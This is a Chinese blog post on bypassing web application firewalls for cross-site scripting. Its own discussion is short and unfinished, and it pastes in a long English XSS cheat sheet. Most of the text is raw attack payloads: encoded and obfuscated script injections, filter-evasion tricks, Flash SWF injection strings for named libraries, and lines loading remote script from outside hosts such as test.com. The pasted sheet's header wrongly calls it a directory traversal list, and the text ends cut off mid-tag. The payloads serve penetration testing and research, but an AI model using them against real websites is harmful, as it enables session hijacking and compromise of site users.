浅谈XSS绕过

标签: web安全 bypass xss
XSS一些payload，考虑到在当下浏览器会做一些过滤，原始的<script>alert(1)</script>已经不再适用当前网络环境，因此有必要做一些XSS绕过WAF的探究
0x00 WAF识别拦截XSS的原理

既然要绕过WAF的拦截，那么就得明白常见的WAF是如何识别XSS
一般来讲，常见的WAF识别是基于正则匹配和指纹信息
0x01 正则匹配绕过

基于正则匹配的XSS，我们可以通过FUZZ检测一些可以绕过的XSS payload，正则匹配还是非常容易绕过的，基于一些Payload变种
因为Javascript是一门脚本语言，具有较高的灵活性，通过在文末给出的payload列表Fuzz测试，筛选出一些黑名单之外的payload
0x02 指纹识别绕过

…未完待续
0xFF 参考

Title:     Ultimate Cross Site Scripting Attack Cheat Sheet
Last     Update: 2018-06-28

Note: This is a technical sheet for research about directory- and path traversal attacks.
Please continue the ultimate directory traversal cheat sheet list or contribute to update.
This cheat sheet list goes out to assist pentesters, developers, researchers & whitehats.


Tags to Trigger XSS Attacks:
onclick
ondblclick
onmousedown
onmousemove
onmouseover
onmouseout
onmouseup
onkeydown
onkeypress
onkeyup
onabort
onerror
onload
onresize
onscroll
onunload
onsubmit
onblur
onchange
onfocus
onreset
onselect
onMoveOn


Brackets for Tags
>"
">
<"
><
>"<
.\>"</.
./>%20<./
/>%20<
%20/%20>
%20">%20<
%3E%3C
Pjw=


XSS Strings:
<meta http-equiv="refresh" content="0;url=javascript:document.cookie=true;">
<META HTTP-EQUIV="Set-Cookie" Content="USERID=<SCRIPT>document.cookie=true</SCRIPT>">
<SCRIPT>document.cookie=true;</SCRIPT>
<IMG SRC="jav ascript:document.cookie=true;">
<IMG SRC="javascript:document.cookie=true;">
<IMG SRC=" &#14; javascript:document.cookie=true;">
<BODY onload!#$%&()*~+-_.,:;?@[/|\]^`=document.cookie=true;>
<SCRIPT>document.cookie=true;//<</SCRIPT>
<SCRIPT <B>document.cookie=true;</SCRIPT>
<IMG SRC="javascript:document.cookie=true;">
<iframe src="javascript:document.cookie=true;> 
<SCRIPT>a=/XSS/\ndocument.cookie=true;</SCRIPT> 
</TITLE><SCRIPT>document.cookie=true;</SCRIPT>
<INPUT TYPE="IMAGE" SRC="javascript:document.cookie=true;">
<BODY BACKGROUND="javascript:document.cookie=true;">
<BODY ONLOAD=document.cookie=true;>
<IMG DYNSRC="javascript:document.cookie=true;">
<IMG LOWSRC="javascript:document.cookie=true;">
<BGSOUND SRC="javascript:document.cookie=true;">
<BR SIZE="&{document.cookie=true}">
<LAYER SRC="javascript:document.cookie=true;"></LAYER>
<LINK REL="stylesheet" HREF="javascript:document.cookie=true;">
<STYLE>li {list-style-image: url("javascript:document.cookie=true;");</STYLE><UL><LI>XSS 
Ľscriptľdocument.cookie=true;Ľ/scriptľ 
<IFRAME SRC="javascript:document.cookie=true;"></IFRAME>
<FRAMESET><FRAME SRC="javascript:document.cookie=true;"></FRAMESET>
<TABLE BACKGROUND="javascript:document.cookie=true;">
<TABLE><TD BACKGROUND="javascript:document.cookie=true;">
<DIV STYLE="background-image: url(javascript:document.cookie=true;)">
<DIV STYLE="background-image: url(&#1;javascript:document.cookie=true;)">
<DIV STYLE="width: expression(document.cookie=true);">
<STYLE>@im\port'\ja\vasc\ript:document.cookie=true';</STYLE>
<IMG STYLE="xss:expr/*XSS*/ession(document.cookie=true)">
<XSS STYLE="xss:expression(document.cookie=true)"> 
exp/*<A STYLE='no\xss:noxss("*//*");xss:ex/*XSS*//*/*/pression(document.cookie=true)'> 
<STYLE TYPE="text/javascript">document.cookie=true;</STYLE> 
<STYLE>.XSS{background-image:url("javascript:document.cookie=true");}</STYLE><A CLASS=XSS></A> 
<STYLE type="text/css">BODY{background:url("javascript:document.cookie=true")}</STYLE> 
<SCRIPT>document.cookie=true;</SCRIPT>
<BASE HREF="javascript:document.cookie=true;//">
<OBJECT classid=clsid:ae24fdae-03c6-11d1-8b76-0080c744f389><param name=url value=javascript:document.cookie=true></OBJECT>
<XML ID=I><X><C><![CDATA[<IMG SRC="javas]]<![CDATA[cript:document.cookie=true;">]]</C></X></xml><SPAN DATASRC=#I DATAFLD=C DATAFORMATAS=HTML></SPAN>
<XML ID="xss"><I><B><IMG SRC="javas<!-- -->cript:document.cookie=true"></B></I></XML><SPAN DATASRC="#xss" DATAFLD="B" DATAFORMATAS="HTML"></SPAN>
<HTML><BODY><?xml:namespace prefix="t" ns="urn:schemas-microsoft-com:time"><?import namespace="t" implementation="#default#time2"><t:set attributeName="innerHTML" to="XSS<SCRIPT DEFER>document.cookie=true</SCRIPT>"></BODY></HTML>
<? echo('<SCR)';echo('IPT>document.cookie=true</SCRIPT>'); ?>
<HEAD><META HTTP-EQUIV="CONTENT-TYPE" CONTENT="text/html; charset=UTF-7"> </HEAD>+ADw-SCRIPT+AD4-document.cookie=true;+ADw-/SCRIPT+AD4-
<a href="javascript#document.cookie=true;">
<div onmouseover="document.cookie=true;">
<img src="javascript:document.cookie=true;">
<img dynsrc="javascript:document.cookie=true;">
<input type="image" dynsrc="javascript:document.cookie=true;">
<bgsound src="javascript:document.cookie=true;">
&<script>document.cookie=true;</script> 
&{document.cookie=true;}; 
<img src=&{document.cookie=true;};> 
<link rel="stylesheet" href="javascript:document.cookie=true;"> 
<img src="mocha:document.cookie=true;">@mario_payload
<img src="livescript:document.cookie=true;"> 
<a href="about:<script>document.cookie=true;</script>"> 
<body onload="document.cookie=true;"> 
<div style="background-image: url(javascript:document.cookie=true;);"> 
<div style="behaviour: url([link to code]);"> 
<div style="binding: url([link to code]);"> 
<div style="width: expression(document.cookie=true;);">
<style type="text/javascript">document.cookie=true;</style>
<object classid="clsid:..." codebase="javascript:document.cookie=true;">
<style><!--</style><script>document.cookie=true;//--></script>
<<script>document.cookie=true;</script>
<script>document.cookie=true;//--></script>
<!-- -- --><script>document.cookie=true;</script><!-- -- -->
<img src="blah"onmouseover="document.cookie=true;">
<img src="blah>" onmouseover="document.cookie=true;">
<xml src="javascript:document.cookie=true;">
<xml id="X"><a><b><script>document.cookie=true;</script>;</b></a></xml>
<div datafld="b" dataformatas="html" datasrc="#X"></div> ]]>  [\xC0][\xBC]script>document.cookie=true;[\xC0][\xBC]/script>


Restriction Bypass:
>"<iframe src=http://global-evolution.info/>@gmail.com
>"<script>alert(document.cookie)</script><div style="1@gmail.com
>"<script>alert(document.cookie)</script>@gmail.com


<html><body>
<button.onclick="alert(String.fromCharCode(60,115,99,114,105,112,116,62,97,108,
101,114,116,40,34,67,114,111,115,115,83,105,116,101,83,99,114,105,112,116,105,1
10,103,64,82,69,77,79,86,69,34,41,60,47,115,99,114,105,112,116,62));">String:fr
om.Char.Code</button></body></html>

%3C%73%63%72%69%70%74%3E%61%6C%65%72%74%28%22%43%72%6F
%73%73%53%69%74%65%53%63%72%69%70%74%69%6E%67%32%22%29%3C%2F
%73%63%72%69%70%74%3E

Obfuscated Bypass:
>“<ScriPt>ALeRt("xssOBFSbypass")</scriPt>



XSS with close TAG to escape:
>"<meta http-equiv="refresh" content="0;url=javascript:document.cookie=true;">
>"<META HTTP-EQUIV="Set-Cookie" Content="USERID=<SCRIPT>document.cookie=true</SCRIPT>">
>"<SCRIPT>document.cookie=true;</SCRIPT>
>"<IMG SRC="jav ascript:document.cookie=true;">
>"<IMG SRC="javascript:document.cookie=true;">
>"<IMG SRC=" &#14; javascript:document.cookie=true;">
>"<BODY onload!#$%&()*~+-_.,:;?@[/|\]^`=document.cookie=true;>
>"<SCRIPT>document.cookie=true;//<</SCRIPT>
>"<SCRIPT <B>document.cookie=true;</SCRIPT>
>"<IMG SRC="javascript:document.cookie=true;">
>"<iframe src="javascript:document.cookie=true;> 
>"<SCRIPT>a=/XSS/\ndocument.cookie=true;</SCRIPT> 
>"</TITLE><SCRIPT>document.cookie=true;</SCRIPT>
>"<INPUT TYPE="IMAGE" SRC="javascript:document.cookie=true;">
>"<BODY BACKGROUND="javascript:document.cookie=true;">
>"<BODY ONLOAD=document.cookie=true;>
>"<IMG DYNSRC="javascript:document.cookie=true;">
>"<IMG LOWSRC="javascript:document.cookie=true;">
>"<BGSOUND SRC="javascript:document.cookie=true;">
>"<BR SIZE="&{document.cookie=true}">
>"<LAYER SRC="javascript:document.cookie=true;"></LAYER>
>"<LINK REL="stylesheet" HREF="javascript:document.cookie=true;">
>"<STYLE>li {list-style-image: url("javascript:document.cookie=true;");</STYLE><UL><LI>XSS 
>"Ľscriptľdocument.cookie=true;Ľ/scriptľ 
>"<IFRAME SRC="javascript:document.cookie=true;"></IFRAME>
>"<FRAMESET><FRAME SRC="javascript:document.cookie=true;"></FRAMESET>
>"<TABLE BACKGROUND="javascript:document.cookie=true;">
>"<TABLE><TD BACKGROUND="javascript:document.cookie=true;">
>"<DIV STYLE="background-image: url(javascript:document.cookie=true;)">
>"<DIV STYLE="background-image: url(&#1;javascript:document.cookie=true;)">
>"<DIV STYLE="width: expression(document.cookie=true);">
>"<STYLE>@im\port'\ja\vasc\ript:document.cookie=true';</STYLE>
>"<IMG STYLE="xss:expr/*XSS*/ession(document.cookie=true)">
>"<XSS STYLE="xss:expression(document.cookie=true)"> 
>"exp/*<A STYLE='no\xss:noxss("*//*");xss:ex/*XSS*//*/*/pression(document.cookie=true)'> 
>"<STYLE TYPE="text/javascript">document.cookie=true;</STYLE> 
>"<STYLE>.XSS{background-image:url("javascript:document.cookie=true");}</STYLE><A CLASS=XSS></A> 
>"<STYLE type="text/css">BODY{background:url("javascript:document.cookie=true")}</STYLE> 
>"<SCRIPT>document.cookie=true;</SCRIPT>
>"<BASE HREF="javascript:document.cookie=true;//">
>"<OBJECT classid=clsid:ae24fdae-03c6-11d1-8b76-0080c744f389><param name=url value=javascript:document.cookie=true></OBJECT>
>"<XML ID=I><X><C><![CDATA[<IMG SRC="javas]]<![CDATA[cript:document.cookie=true;">]]</C></X></xml><SPAN DATASRC=#I DATAFLD=C DATAFORMATAS=HTML></SPAN>
>"<XML ID="xss"><I><B><IMG SRC="javas<!-- -->cript:document.cookie=true"></B></I></XML><SPAN DATASRC="#xss" DATAFLD="B" DATAFORMATAS="HTML"></SPAN>
>"<HTML><BODY><?xml:namespace prefix="t" ns="urn:schemas-microsoft-com:time"><?import namespace="t" implementation="#default#time2"><t:set attributeName="innerHTML" to="XSS<SCRIPT DEFER>document.cookie=true</SCRIPT>"></BODY></HTML>
>"<? echo('<SCR)';echo('IPT>document.cookie=true</SCRIPT>'); ?>
>"<HEAD><META HTTP-EQUIV="CONTENT-TYPE" CONTENT="text/html; charset=UTF-7"> </HEAD>+ADw-SCRIPT+AD4-document.cookie=true;+ADw-/SCRIPT+AD4-
>"<a href="javascript#document.cookie=true;">
>"<div onmouseover="document.cookie=true;">
>"<img src="javascript:document.cookie=true;">
>"<img dynsrc="javascript:document.cookie=true;">
>"<input type="image" dynsrc="javascript:document.cookie=true;">
>"<bgsound src="javascript:document.cookie=true;">
>"&<script>document.cookie=true;</script> 
>"&{document.cookie=true;}; 
>"<img src=&{document.cookie=true;};> 
>"<link rel="stylesheet" href="javascript:document.cookie=true;"> 
>"<img src="mocha:document.cookie=true;"> 
>"<img src="livescript:document.cookie=true;"> 
>"<a href="about:<script>document.cookie=true;</script>"> 
>"<body onload="document.cookie=true;"> 
>"<div style="background-image: url(javascript:document.cookie=true;);"> 
>"<div style="behaviour: url([link to code]);"> 
>"<div style="binding: url([link to code]);"> 
>"<div style="width: expression(document.cookie=true;);">
>"<style type="text/javascript">document.cookie=true;</style>
>"<object classid="clsid:..." codebase="javascript:document.cookie=true;">
>"<style><!--</style><script>document.cookie=true;//--></script>
>"<<script>document.cookie=true;</script>
>"<script>document.cookie=true;//--></script>
>"<!-- -- --><script>document.cookie=true;</script><!-- -- -->
>"<img src="blah"onmouseover="document.cookie=true;">
>"<img src="blah>" onmouseover="document.cookie=true;">
>"<xml src="javascript:document.cookie=true;">
>"<xml id="X"><a><b><script>document.cookie=true;</script>;</b></a></xml>
>"<div datafld="b" dataformatas="html" datasrc="#X"></div> ]]>  [\xC0][\xBC]script>document.cookie=true;[\xC0][\xBC]/script>



Others: Random
';alert(String.fromCharCode(88,83,83))//\';alert(String.fromCharCode(88,83,83))//";alert(String.fromCharCode(88,83,83))//\";alert(String.fromCharCode(88,83,83))//--></SCRIPT>">'><SCRIPT>alert(String.fromCharCode(88,83,83))</SCRIPT>
'';!--"<XSS>=&{()}
<SCRIPT SRC=http://test.com/xss.js></SCRIPT>
<IMG SRC="javascript:alert('XSS');">
<IMG SRC=javascript:alert('XSS')>
<IMG SRC=JaVaScRiPt:alert('XSS')>
<IMG SRC=javascript:alert(&quot;XSS&quot;)>
<IMG SRC=`javascript:alert("RM'XSS'")`>
<IMG """><SCRIPT>alert("XSS")</SCRIPT>">
<IMG SRC=javascript:alert(String.fromCharCode(88,83,83))>
<IMG SRC="jav    ascript:alert('XSS');">
<IMG SRC="jav&#x09;ascript:alert('XSS');">
<IMG SRC="jav&#x0A;ascript:alert('XSS');">
<IMG SRC="jav&#x0D;ascript:alert('XSS');">
<IMG
SRC
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>
perl -e 'print "<IMG SRC=java\0script:alert(\"XSS\")>";' > out
perl -e 'print "<SCR\0IPT>alert(\"XSS\")</SCR\0IPT>";' > out
<IMG SRC=" &#14;  javascript:alert('XSS');">
<BODY onload!#$%&()*~+-_.,:;?@[/|\]^`=alert("XSS")>
<<SCRIPT>alert("XSS");//<</SCRIPT>
<SCRIPT SRC=http://test.com/xss.js?<B>
<SCRIPT SRC=//test.com/.j>
<IMG SRC="javascript:alert('XSS')"
<iframe src=http://test.com/index.html <
<SCRIPT>a=/XSS/ alert(a.source)</SCRIPT>
\";alert('XSS');//
</TITLE><SCRIPT>alert("XSS");</SCRIPT>
<INPUT TYPE="IMAGE" SRC="javascript:alert('XSS');">
<BODY BACKGROUND="javascript:alert('XSS')">
<BODY ONLOAD=alert('XSS')>
<IMG DYNSRC="javascript:alert('XSS')">
<IMG LOWSRC="javascript:alert('XSS')">
<BGSOUND SRC="javascript:alert('XSS');">
<BR SIZE="&{alert('XSS')}">
<LAYER SRC="http://test/script.html"></LAYER>
<LINK REL="stylesheet" HREF="javascript:alert('XSS');">
<LINK REL="stylesheet" HREF="http://test.com/xss.css">
<STYLE>@import'http://test.com/xss.css';</STYLE>
<META HTTP-EQUIV="Link" Content="<http://test.com/xss.css>; REL=stylesheet">
<STYLE>BODY{-moz-binding:url("http://test.com/xssmoz.xml#xss")}</STYLE>
<XSS STYLE="behavior: url(xss.htc);">
<STYLE>li {list-style-image: url("javascript:alert('XSS')");}</STYLE><UL><LI>XSS
<IMG SRC='vbscript:msgbox("XSS")'>
<IMG SRC="mocha:[code]">
<IMG SRC="livescript:[code]">
Ľscriptľalert(˘XSS˘)Ľ/scriptľ
<META HTTP-EQUIV="refresh" CONTENT="0;url=javascript:alert('XSS');">
<META HTTP-EQUIV="refresh" CONTENT="0;url=data:text/html;base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4K">
<META HTTP-EQUIV="refresh" CONTENT="0; URL=http://;URL=javascript:alert('XSS');">
<IFRAME SRC="javascript:alert('XSS');"></IFRAME>
<FRAMESET><FRAME SRC="javascript:alert('XSS');"></FRAMESET>
<TABLE BACKGROUND="javascript:alert('XSS')">
<TABLE><TD BACKGROUND="javascript:alert('XSS')">
<DIV STYLE="background-image: url(javascript:alert('XSS'))">
<DIV STYLE="background-image:\0075\0072\006C\0028'\006a\0061\0076\0061\0073\0063\0072\0069\0070\0074\003a\0061\006c\0065\0072\0074\0028.1027\0058.1053\0053\0027\0029'\0029">
<DIV STYLE="background-image: url(&#1;javascript:alert('XSS'))">
<DIV STYLE="width: expression(alert('XSS'));">
<STYLE>@im\port'\ja\vasc\ript:alert("XSS")';</STYLE>
<IMG STYLE="xss:expr/*XSS*/ession(alert('XSS'))">
<XSS STYLE="xss:expression(alert('XSS'))">  exp/*<A STYLE='no\xss:noxss("*//*");  xss:&#101;x&#x2F;*XSS*//*/*/pression(alert("XSS"))'>
<STYLE TYPE="text/javascript">alert('XSS');</STYLE>
<STYLE>.XSS{background-image:url("javascript:alert('XSS')");}</STYLE><A CLASS=XSS></A>
<STYLE type="text/css">BODY{background:url("javascript:alert('XSS')")}</STYLE>
<!--[if gte IE 4]>   <SCRIPT>alert('XSS');</SCRIPT>   <![endif]-->
<BASE HREF="javascript:alert('XSS');//">
<OBJECT TYPE="text/x-scriptlet" DATA="http://test.com/scriptlet.html"></OBJECT>
<OBJECT classid=clsid:ae24fdae-03c6-11d1-8b76-0080c744f389><param name=url value=javascript:alert('XSS')></OBJECT>
<EMBED SRC="http://test.com/xss.swf" AllowScriptAccess="always"></EMBED>

<EMBED SRC="data:image/svg+xml;base64,PHN2ZyB4bWxuczpzdmc9Imh0dH A6Ly93d3cudzMub3JnLzIwMDAvc3ZnIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcv MjAwMC9zdmciIHhtbG5zOnhsaW5rPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5L3hs aW5rIiB2ZXJzaW9uPSIxLjAiIHg9IjAiIHk9IjAiIHdpZHRoPSIxOTQiIGhlaWdodD0iMjAw IiBpZD0ieHNzIj48c2NyaXB0IHR5cGU9InRleHQvZWNtYXNjcmlwdCI+YWxlcnQoIlh TUyIpOzwvc2NyaXB0Pjwvc3ZnPg==" type="image/svg+xml" AllowScriptAccess="always"></EMBED>

<EMBED SRC="data:image/svg+xml;base64,PHN2ZyB4bWxuczpzdmc9Imh0dH A6Ly93d3cudzMub3JnLzIwMDAvc3ZnIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcv MjAwMC9zdmciIHhtbG5zOnhsaW5rPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5L3hs aW5rIiB2ZXJzaW9uPSIxLjAiIHg9IjAiIHk9IjAiIHdpZHRoPSIxOTQiIGhlaWdodD0iMjAw IiBpZD0ieHNzIj48c2NyaXB0IHR5cGU9InRleHQvZWNtYXNjcmlwdCI+YWxlcnQoIlh TUyIpOzwvc2NyaXB0Pjwvc3ZnPg==" type="image/svg+xml" AllowScriptAccess="always"></EMBED>


<EMBED SRC="data:image/svg+xml;base64,JTIwPiI8PGlmcmFtZSBzcmM9aHR0cDovL3Z1bG4tbGFiLmNvbSBvbmxvYWQ9YWxlcnQoZG9jdW1lbnQuY29va2llKSA8" type="image/svg+xml" AllowScriptAccess="always"></EMBED>


Flash SWF XSS

    ZeroClipboard: ZeroClipboard.swf?id=\"))}catch(e){confirm(/XSS./.source);}//&width=500&height=500&.swf

    plUpload Player: plupload.flash.swf?%#target%g=alert&uid%g=XSS&

    plUpload MoxiePlayer: Moxie.swf?target%g=confirm&uid%g=XSS (also works with Moxie.cdn.swf and other variants)

    FlashMediaElement: flashmediaelement.swf?jsinitfunctio%gn=alert1

    videoJS: video-js.swf?readyFunction=confirm and video-js.swf?readyFunction=alert%28document.domain%2b'%20XSS'%29

    YUI "io.swf": io.swf?yid=\"));}catch(e){alert(document.domain);}//

    YUI "uploader.swf": uploader.swf?allowedDomain=\%22}%29%29%29}catch%28e%29{alert%28document.domain%29;}//<

    Open Flash Chart: open-flash-chart.swf?get-data=(function(){alert(1)})()

    AutoDemo: control.swf?onend=javascript:alert(1)//

    Adobe FLV Progressive: /main.swf?baseurl=asfunction:getURL,javascript:alert(1)// and /FLVPlayer_Progressive.swf?skinName=asfunction:getURL,javascript:alert(1)//

    Banner.swf (generic): banner.swf?clickTAG=javascript:alert(document.domain);//

    JWPlayer (legacy): player.swf?playerready=alert(document.domain) and /player.swf?tracecall=alert(document.domain)

    SWFUpload 2.2.0.1: swfupload.swf?movieName="]);}catch(e){}if(!self.a)self.a=!confirm(1);//

    Uploadify (legacy): uploadify.swf?movieName=%22])}catch(e){if(!window.x){window.x=1;confirm(%27XSS%27)}}//&.swf

    FlowPlayer 3.2.7: flowplayer-3.2.7.swf?config={"clip":{"url":"http://edge.flowplayer.org/bauhaus.mp4","linkUrl":"JavaScriPt:confirm(document.domain)"}}&.swf



a="get";
b="URL(\"";
c="javascript:";
d="alert('XSS');\")";
eval(a+b+c+d);


XML Schema
<HTML xmlns:xss>
  <?import namespace="xss" implementation="http://vuln-lab.com/xss.htc">
  <xss:xss>XSS</xss:xss>

<XML ID=I><X><C><![CDATA[<IMG SRC="javas]]><![CDATA[cript:alert('XSS');">]]>
</C></X></xml><SPAN DATASRC=#I DATAFLD=C DATAFORMATAS=HTML></SPAN>


<XML ID="xss"><I><B>&lt;IMG SRC="javas<!-- -->cript:alert('XSS')"&gt;</B></I></XML>
<SPAN DATASRC="#xss" DATAFLD="B" DATAFORMATAS="HTML"></SPAN>


<XML SRC="xsstest.xml" ID=I></XML><SPAN DATASRC=#I DATAFLD=C DATAFORMATAS=HTML></SPAN>

<HTML><BODY>
<?xml:namespace prefix="t" ns="urn:schemas-microsoft-com:time">
<?import namespace="t" implementation="#default#time2">
<t:set attributeName="innerHTML" to="XSS&lt;SCRIPT DEFER&gt;alert(&quot;XSS&quot;)&lt;/SCRIPT&gt;">
</BODY></HTML>


<?xml version="1.0" ?>
<someElement>
<a xmlns:a='http://www.w3.org/1999/xhtml'><a:body onload='alert(1)'/></a>
</someElement>



<SCRIPT SRC="http://test.com/xss.jpg"></SCRIPT>


<!--#exec cmd="/bin/echo '<SCR'"--><!--#exec cmd="/bin/echo 'IPT SRC=http://test.com/xss.js></SCRIPT>'"-->

<? echo('<SCR)';
echo('IPT>alert("XSS")</SCRIPT>'); ?>

<IMG SRC="http://www.test.com/file.php?variables=malicious">

Redirect 302 /test.jpg http://test.com/admin.asp&deleteuser

<META HTTP-EQUIV="Set-Cookie" Content="USERID=&lt;SCRIPT&gt;alert('XSS')&lt;/SCRIPT&gt;">
<HEAD><META HTTP-EQUIV="CONTENT-TYPE" CONTENT="text/html; charset=UTF-7"> </HEAD>+ADw-SCRIPT+AD4-alert('XSS');+ADw-/SCRIPT+AD4-
<SCRIPT a=">" SRC="http://test.com/xss.js"></SCRIPT>
<SCRIPT a=`>` SRC="http://test.com/xss.js"></SCRIPT>
<SCRIPT>document.write("<SCRI");</SCRIPT>PT SRC="http://test.com/xss.js"></SCRIPT>
<A HREF="http://server.com/">XSS</A>
<A HREF="http://%77%77%77%2E%67%6F%6F%67%6C%65%2E%63%6F%6D">XSS</A>
<A HREF="http://1113982867/">XSS</A>
<A HREF="javascript:document.location='http://www.test.com/'">XSS</A>

%3C%69%66%72%61%6D%65%20%73%72%63%3D%68%74%74%70%3A%2F%2F%74%65%73%74%2E%64%65%3E

&#x3C;&#x69;&#x66;&#x72;&#x61;&#x6D;&#x65;&#x20;&#x73;&#x72;&#x63;&#x3D;&#x68;&#x74;&#x74;&#x70;&#x3A;&#x2F;&#x2F;&#x74;&#x65;&#x73;&#x74;&#x2E;&#x64;&#x65;&#x3E;

&#60&#105&#102&#114&#97&#109&#101&#32&#115&#114&#99&#61&#104&#116&#116&#112&#58&#47&#47&#116&#101&#115&#116&#46&#100&#101&#62

PGlmcmFtZSBzcmM9aHR0cDovL3Rlc3QuZGU+


<input/onmouseover="javaSCRIPT&colon;confirm&lpar;1&rpar;"

<sVg><scRipt >alert&lpar;1&rpar; {Opera}

<img/src=`` onerror=this.onerror=confirm(1) 

<form><isindex formaction="javascript&colon;confirm(1)"

<img src=``&NewLine; onerror=alert(1)&NewLine;


<sCrIpt>alert(1)</ScRipt>
<iMg srC=1 lAnGuAGE=VbS oNeRroR=mSgbOx(1)>


<img src='1' onerror\x00=alert(0) />

<img src='1' onerror/=alert(0) />

<img src='1' onerror\x0b=alert(0) />

<img src='1' onerror=\x00alert(0) />

<img src='1' o\x00nerr\x00or=alert(0) />

<\x00img src='1' onerror=alert(0) />

<script\x00>alert(1)</script>

<i\x00mg src='1' onerror=alert(0) />

<img/src='1'/onerror=alert(0)>

<img\x0bsrc='1'\x0bonerror=alert(0)>

<img src='1''onerror='alert(0)'>
<img src='1'"onerror="alert(0)">

<img src='1'\x00onerror=alert(0)>

<img src='1'onerror=alert(0)>

“><img title="test-xss" onmouseup="confirm(document.domain)">


Firefox (\x09, \x0a, \x0d, \x20)
Chrome (Any character \x01 to \x20)
<iframe src="\x01javascript:alert(0)"></iframe> <!-- Example for Chrome -->


<img src='1' onerror='alert(0)' <

Extra less-than characters (IE, Firefox, Chrome, Safari).
<<script>alert(0)</script>

<style>body{background-color:expression\(alert(1))}</style>


<script>document.write('<a hr\ef=j\avas\cript\:a\lert(2)>blah</a>');</script>


<img src="1" onerror="alert(1)" />
<img src="1" onerror="&#x61;&#x6c;&#x65;&#x72;&#x74;&#x28;&#x31;&#x29;" />
<iframe src="javascript:alert(1)"></iframe>
<iframe src="&#x6a;&#x61;&#x76;&#x61;&#x73;&#x63;&#x72;&#x69;&#x70;&#x74;&#x3a;&#x61;&#x6c;&#x65;&#x72;&#x74;&#x28;&#x31;&#x29;"></iframe>


<iframe src="javascript:alert(1)"></iframe>
<iframe src="javascript:%61%6c%65%72%74%28%31%29"></iframe>


<div style="x:expression(alert(1))">Joker</div>
<div style="x:\65\78\70\72\65\73\73\69\6f\6e(alert(1))">Joker</div>
<div style="x:\000065\000078\000070\000072\000065\000073\000073\000069\00006f\00006e(alert(1))">Joker</div>
<div style="x:\65\78\70\72\65\73\73\69\6f\6e\028 alert \028 1 \029 \029">Joker</div>


<script>document.write('<img src=1 onerror=alert(1)>');</script>
<script>document.write('\x3C\x69\x6D\x67\x20\x73\x72\x63\x3D\x31\x20\x6F\x6E\x65\x72\x72\x6F\x72\x3D\x61\x6C\x65\x72\x74\x28\x31\x29\x3E');</script>
<script>document.write('\074\151\155\147\040\163\162\143\075\061\040\157\156\145\162\162\157\162\075\141\154\145\162\164\050\061\051\076');</script>
<script>document.write('\u003C\u0069\u006D\u0067\u0020\u0073\u0072\u0063\u003D\u0031\u0020\u006F\u006E\u0065\u0072\u0072\u006F\u0072\u003D\u0061\u006C\u0065\u0072\u0074\u0028\u0031\u0029\u003E');</script>

<script>document.write('<img src=1 onerror=alert(1)>');</script>
<script>document.write(String.fromCharCode(60,105,109,103,32,115,114,99,61,49,32,111,110,101,114,114,111,114,61,97,108,101,114,116,40,48,41,62));</script>


<script>alert(123)</script>
<script>\u0061\u006C\u0065\u0072\u0074(123)</script>


< = %C0%BC = %E0%80%BC = %F0%80%80%BC
> = %C0%BE = %E0%80%BE = %F0%80%80%BE
' = %C0%A7 = %E0%80%A7 = %F0%80%80%A7
" = %C0%A2 = %E0%80%A2 = %F0%80%80%A2

<img src="1" onnerror="alert(1)">
%E0%80%BCimg%20src%3D%E0%80%A21%E0%80%A2%20onerror%3D%E0%80%A2alert(1)%E0%80%A2%E0%80%BE


<img src="1" onerror="alert(1)" />
+ADw-img src=+ACI-1+ACI- onerror=+ACI-alert(1)+ACI- /+AD4-


<script>alert(1)</script>
%uff1cscript%uff1ealert(1)%uff1c/script%uff1e


<img src="1" onerror="alert('1')">
%u3008img%20src%3D%221%22%20onerror%3D%22alert(%uFF071%uFF07)%22%u232A


<video src="http://www.w3schools.com/html5/movie.ogg" onloadedmetadata="alert(1)" />
<video src="http://www.w3schools.com/html5/movie.ogg" onloadstart="alert(1)" />


<blah style="blah:expression(alert(1))" />


<div style="z:exp/*anything*/res/*here*/sion(alert(1))" />


<script>window['alert'](0)</script>
<script>parent['alert'](1)</script>
<script>self['alert'](2)</script>
<script>top['alert'](3)</script>


<img src=1 alt=al lang=ert onerror=top[alt+lang](0)>


<script>
var junk = '</script><script>alert(1)</script>';
</script>


<style>
body { background-image:url('http://www.test.com/</style><script>alert(1)</script>'); }
</style>


<iframe src="javascript:alert(1)"></iframe>
<iframe src="vbscript:msgbox(1)"></iframe> (IE)
<iframe src="data:text/html,<script>alert(0)</script>"></iframe> (Firefox, Chrome, Safari)
<iframe src="data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg=="></iframe> (Firefox, Chrome, Safari)


http://test.com/something.xxx?a=val1&a=val2
ASP.NET a = val1,val2
ASP a = val1,val2
JSP a = val1
PHP a = val2


<script>eval(location.hash.slice(1))</script>
<script>eval(location.hash)</script> (Firefox)

http://test.com/something.jsp?inject=<script>eval(location.hash.slice(1))</script>#alert(1)


<iframe src="http://test.com/something.jsp?inject=<script>eval(name)</script>" name="alert(1)"></iframe>


<script>
$=~[];$={___:++$,$$$$:(![]+"")[$],__$:++$,$_$_:(![]+"")[$],_$_:++$,$_$$:({}+"")[$],$$_$:($[$]+"")[$],_$$:++$,$$$_:(!""+"")[$],$__:++$,$_$:++$,$$__:({}+"")[$],$$_:++$,$$$:++$,$___:++$,$__$:++$};$.$_=($.$_=$+"")[$.$_$]+($._$=$.$_[$.__$])+($.$$=($.$+"")[$.__$])+((!$)+"")[$._$$]+($.__=$.$_[$.$$_])+($.$=(!""+"")[$.__$])+($._=(!""+"")[$._$_])+$.$_[$.$_$]+$.__+$._$+$.$;$.$$=$.$+(!""+"")[$._$$]+$.__+$._+$.$+$.$$;$.$=($.___)[$.$_][$.$_];$.$($.$($.$$+"\""+$.$_$_+(![]+"")[$._$_]+$.$$$_+"\\"+$.__$+$.$$_+$._$_+$.__+"("+$.___+")"+"\"")())();
</script>


<script>
